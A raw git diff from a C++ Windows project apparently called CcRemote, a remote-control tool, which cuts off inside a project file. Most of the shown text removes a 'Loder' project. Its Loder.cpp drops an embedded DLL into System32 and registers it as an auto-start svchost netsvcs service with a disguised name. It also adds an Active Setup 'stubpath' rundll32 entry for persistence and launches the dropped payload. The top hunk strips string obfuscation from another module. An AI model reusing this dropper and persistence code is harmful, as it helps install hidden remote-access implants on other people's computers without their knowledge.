//char Mozilla[] = { 0x18,0x86,0xa5,0xb3,0xa1,0xab,0xaa,0xa4,0xeb,0xf7,0xec,0xf1,0xe0,0x97,0xdd,0xd2,0xd1,0xcb,0xdb,0xcd,0xd1,0xd5,0xda,0xd0,0x9d }; //Mozilla/4.0 (compatible)
|
||||
//char* pMozilla = decodeStr(Mozilla); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
//
|
||||
//hNet = InternetOpen(pMozilla, INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
|
||||
//
|
||||
//memset(pMozilla, 0, pMozilla[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
//delete pMozilla;
|
||||
hNet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
|
||||
//----------------------------------------------------------
|
||||
|
||||
|
||||
if (hNet == NULL)
|
||||
@@ -160,7 +162,11 @@ DWORD CPUClockMhz()
|
||||
}; //WinSta0\Default
|
||||
char* pHARDWARE = decodeStr(HARDWARE); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||
|
||||
RegOpenKey(HKEY_LOCAL_MACHINE, pHARDWARE, &hKey);
|
||||
|
||||
//RegOpenKey(HKEY_LOCAL_MACHINE, pHARDWARE, &hKey);
|
||||
RegOpenKey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
|
||||
//------------------------------------------------------------------------------------------------
|
||||
|
||||
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMhz, &dwBytes);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
|
@@ -228,7 +228,7 @@ bool OpenURL(LPCTSTR lpszURL, INT nShowCmd)
|
||||
char *lpstrCat = NULL;
|
||||
memset(strIEPath, 0, sizeof(strIEPath));
|
||||
|
||||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, "Applications\\iexplore.exe\\shell\\open\\command", 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
{
|
||||
memset(pApplications, 0, Applications[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||
delete pApplications;
|
||||
|
File diff suppressed because it is too large
Load Diff
@@ -1,17 +0,0 @@
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.idb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.obj
|
||||
g:\ccremote\ccremote\bin\server\loder.ilk
|
||||
g:\ccremote\ccremote\bin\server\loder.exe
|
||||
g:\ccremote\ccremote\bin\server\loder.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.res
|
||||
g:\ccremote\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.write.1.tlog
|
@@ -1,29 +0,0 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
Loder.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(246): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(278): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(283): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(284): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(285): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(289): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(294): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
Binary file not shown.
@@ -1,2 +0,0 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
@@ -1,314 +0,0 @@
|
||||
// Loder.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
|
||||
//
|
||||
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include "resource.h"
|
||||
#include "RegEditEx.h"
|
||||
|
||||
|
||||
bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
|
||||
{
|
||||
DWORD dwWritten;
|
||||
|
||||
HANDLE hFile = CreateFile(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if (hFile != NULL)
|
||||
{
|
||||
WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return true;
|
||||
}
|
||||
//要释放的路径 资源ID 资源名
|
||||
bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName)
|
||||
{
|
||||
HRSRC hResInfo;
|
||||
HGLOBAL hResData;
|
||||
DWORD dwSize;
|
||||
LPBYTE p;
|
||||
// 查找所需的资源
|
||||
hResInfo = FindResource(NULL, MAKEINTRESOURCE(nResourceID), strResourceName);
|
||||
if (hResInfo == NULL)
|
||||
{
|
||||
//MessageBox(NULL, "查找资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
// 获得资源尺寸
|
||||
dwSize = SizeofResource(NULL, hResInfo);
|
||||
// 装载资源
|
||||
hResData = LoadResource(NULL, hResInfo);
|
||||
if (hResData == NULL)
|
||||
{
|
||||
//MessageBox(NULL, "装载资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
// 为数据分配空间
|
||||
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
|
||||
if (p == NULL)
|
||||
{
|
||||
//MessageBox(NULL, "分配内存失败!", "错误", MB_OK | MB_ICONINFORMATION);
|
||||
return false;
|
||||
}
|
||||
// 复制资源数据
|
||||
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
|
||||
|
||||
bool bRet = CreateMyFile(strFilePath, p, dwSize);
|
||||
if (!bRet)
|
||||
{
|
||||
GlobalFree((HGLOBAL)p);
|
||||
return false;
|
||||
}
|
||||
|
||||
GlobalFree((HGLOBAL)p);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
char *AddsvchostService()
|
||||
{
|
||||
char *lpServiceName = NULL;
|
||||
int rc = 0;
|
||||
HKEY hkRoot;
|
||||
char buff[2048];
|
||||
//打开装所有svchost服务名的注册表键
|
||||
//query svchost setting
|
||||
char *ptr;
|
||||
char pSvchost[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
|
||||
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);
|
||||
if (ERROR_SUCCESS != rc)
|
||||
return NULL;
|
||||
|
||||
DWORD type, size = sizeof buff;
|
||||
//枚举他所有的服务名
|
||||
rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
|
||||
SetLastError(rc);
|
||||
if (ERROR_SUCCESS != rc)
|
||||
RegCloseKey(hkRoot);
|
||||
|
||||
int i = 0;
|
||||
bool bExist = false;
|
||||
char servicename[50];
|
||||
do
|
||||
{
|
||||
//这里获得类似这样的服务名netsvcs_0,netsvcs_1。。。。。。。
|
||||
wsprintf(servicename, "netsvcs_0x%d", i);
|
||||
for (ptr = buff; *ptr; ptr = strchr(ptr, 0) + 1)
|
||||
{
|
||||
//然后比对一下服务名中是否有这个名字了
|
||||
if (lstrcmpi(ptr, servicename) == 0)
|
||||
{
|
||||
bExist = true;
|
||||
break; //如果没有就跳出
|
||||
}
|
||||
}
|
||||
if (bExist == false)
|
||||
break;
|
||||
bExist = false;
|
||||
i++;
|
||||
} while (1);
|
||||
|
||||
servicename[lstrlen(servicename) + 1] = '\0';
|
||||
//然后将这个服务名写到所有服务名的后面,
|
||||
//不要妄想,直接用api在一个注册表的键值后面添加一些信息
|
||||
memcpy(buff + size - 1, servicename, lstrlen(servicename) + 2);
|
||||
//然后将含有新服务名的缓冲区写入注册表,注册表里原有内容被覆盖
|
||||
rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + lstrlen(servicename) + 1);
|
||||
|
||||
RegCloseKey(hkRoot);
|
||||
|
||||
SetLastError(rc);
|
||||
|
||||
if (bExist == false)
|
||||
{
|
||||
lpServiceName = new char[lstrlen(servicename) + 1];
|
||||
lstrcpy(lpServiceName, servicename);
|
||||
}
|
||||
//回到 InstallService
|
||||
return lpServiceName;
|
||||
}
|
||||
|
||||
void StartService(LPCTSTR lpService)
|
||||
{
|
||||
SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
if (NULL != hSCManager)
|
||||
{
|
||||
SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
|
||||
if (NULL != hService)
|
||||
{
|
||||
StartService(hService, 0, NULL);
|
||||
CloseServiceHandle(hService);
|
||||
printf("lpService");
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
|
||||
//CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL");
|
||||
char lpServiceDescription[]= "CcRemote服务";
|
||||
char strModulePath[MAX_PATH];
|
||||
char strSysDir[MAX_PATH];
|
||||
char strSubKey[1024];
|
||||
DWORD dwStartType = 0;
|
||||
char strRegKey[1024];
|
||||
int rc = 0;
|
||||
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
|
||||
SC_HANDLE hscm = NULL, schService = NULL;
|
||||
|
||||
//打开服务
|
||||
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
||||
GetSystemDirectory(strSysDir, sizeof(strSysDir));
|
||||
char bin[] = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";
|
||||
char *lpServiceName = AddsvchostService(); //*添加的代码在这个函数中*
|
||||
char lpServiceDisplayName[128] = {0};
|
||||
wsprintf(lpServiceDisplayName, "%s_ms,", lpServiceName);
|
||||
//这里返回新的服务名后就构造服务dll的名字
|
||||
memset(strModulePath, 0, sizeof(strModulePath));
|
||||
wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, lpServiceName);
|
||||
|
||||
//然后构造服务中的描述信息的位置
|
||||
wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
|
||||
schService = CreateService(
|
||||
hscm, // SCManager database
|
||||
lpServiceName, // name of service
|
||||
lpServiceDisplayName, // service name to display
|
||||
SERVICE_ALL_ACCESS, // desired access
|
||||
SERVICE_WIN32_OWN_PROCESS,
|
||||
SERVICE_AUTO_START, // start type
|
||||
SERVICE_ERROR_NORMAL, // error control type
|
||||
bin, // service's binary
|
||||
NULL, // no load ordering group
|
||||
NULL, // no tag identifier
|
||||
NULL, // no dependencies
|
||||
NULL, // LocalSystem account
|
||||
NULL); // no password
|
||||
dwStartType = SERVICE_WIN32_OWN_PROCESS;
|
||||
|
||||
if (schService == NULL)
|
||||
{
|
||||
throw "CreateService(Parameters)";
|
||||
printf("schServicenull");
|
||||
}
|
||||
|
||||
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(hscm);
|
||||
|
||||
hkRoot = HKEY_LOCAL_MACHINE;
|
||||
//这里构造服务的描述键
|
||||
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
if (dwStartType == SERVICE_WIN32_SHARE_PROCESS)
|
||||
{
|
||||
DWORD dwServiceType = 0x120;
|
||||
|
||||
//写入服务的描述
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0);
|
||||
}
|
||||
//写入服务的描述
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, lstrlen(lpServiceDescription), 0);
|
||||
|
||||
lstrcat(strSubKey, "\\Parameters");
|
||||
//写入服务的描述
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0);
|
||||
|
||||
printf("123");
|
||||
if (schService != NULL)
|
||||
{
|
||||
CreateEXE(strModulePath, IDR_DLL1, "DLL");
|
||||
StartService(lpServiceName);
|
||||
}
|
||||
RegCloseKey(hkRoot);
|
||||
RegCloseKey(hkParam);
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(hscm);
|
||||
system("pause");
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
BOOL GetNUM(char *num)
|
||||
{
|
||||
CoInitialize(NULL);
|
||||
char buf[64] = { 0 };
|
||||
GUID guid;
|
||||
if (S_OK == ::CoCreateGuid(&guid))
|
||||
{
|
||||
_snprintf(buf, sizeof(buf)
|
||||
, "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}"
|
||||
, guid.Data1
|
||||
, guid.Data2
|
||||
, guid.Data3
|
||||
, guid.Data4[0], guid.Data4[1], guid.Data4[2]
|
||||
, guid.Data4[3], guid.Data4[4], guid.Data4[5]
|
||||
, guid.Data4[6], guid.Data4[7]
|
||||
);
|
||||
}
|
||||
CoUninitialize();
|
||||
memcpy(num, buf, 64);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ActiveXSetup()
|
||||
{
|
||||
HKEY hKey;
|
||||
char strFileName[MAX_PATH]; // dll文件名
|
||||
char ActivexStr[1024]; // 用于存储ActiveX的键字串
|
||||
char ActiveXPath[MAX_PATH]; // ActiveX路径
|
||||
char ActiveXKey[64]; // ActiveX 的GUID字串
|
||||
char strCmdLine[MAX_PATH]; // 存储启动的命令行参数
|
||||
|
||||
|
||||
ZeroMemory(strFileName, MAX_PATH);
|
||||
ZeroMemory(ActiveXPath, MAX_PATH);
|
||||
ZeroMemory(ActivexStr, 1024);
|
||||
ZeroMemory(ActiveXKey, MAX_PATH);
|
||||
ZeroMemory(strCmdLine, MAX_PATH);
|
||||
|
||||
//得到Activex路径
|
||||
strcpy(ActiveXPath, "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\");
|
||||
//得到Activex的GUID
|
||||
GetNUM(ActiveXKey);
|
||||
//构造dll完整文件名
|
||||
GetSystemDirectory(strFileName, MAX_PATH);
|
||||
strcat(strFileName, "\\");
|
||||
strcat(strFileName, ActiveXKey);
|
||||
strcat(strFileName, ".dll");
|
||||
|
||||
|
||||
//构造ActiveX的注册表键值
|
||||
sprintf(ActivexStr, "%s%s", ActiveXPath, ActiveXKey);
|
||||
//创建这个注册表
|
||||
RegCreateKey(HKEY_LOCAL_MACHINE, ActivexStr, &hKey);
|
||||
|
||||
//构造程序启动的命令行参数
|
||||
sprintf(strCmdLine, "%s %s,FirstRun", "rundll32.exe", strFileName);
|
||||
//将参数写道注册表中
|
||||
RegSetValueEx(hKey, "stubpath", 0, REG_EXPAND_SZ, (BYTE *)strCmdLine, lstrlen(strCmdLine));
|
||||
RegCloseKey(hKey);
|
||||
//释放文件
|
||||
CreateEXE(strFileName, IDR_DLL1, "DLL");
|
||||
|
||||
//启动服务端
|
||||
STARTUPINFO StartInfo;
|
||||
PROCESS_INFORMATION ProcessInformation;
|
||||
StartInfo.cb = sizeof(STARTUPINFO);
|
||||
StartInfo.lpDesktop = NULL;
|
||||
StartInfo.lpReserved = NULL;
|
||||
StartInfo.lpTitle = NULL;
|
||||
StartInfo.dwFlags = STARTF_USESHOWWINDOW;
|
||||
StartInfo.cbReserved2 = 0;
|
||||
StartInfo.lpReserved2 = NULL;
|
||||
StartInfo.wShowWindow = SW_SHOWNORMAL;
|
||||
BOOL bReturn = CreateProcess(NULL, strCmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &StartInfo, &ProcessInformation);
|
||||
return;
|
||||
}
|
Binary file not shown.
@@ -1,178 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>Loder</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>..\\..\\bin\\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>..\\..\\bin\\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
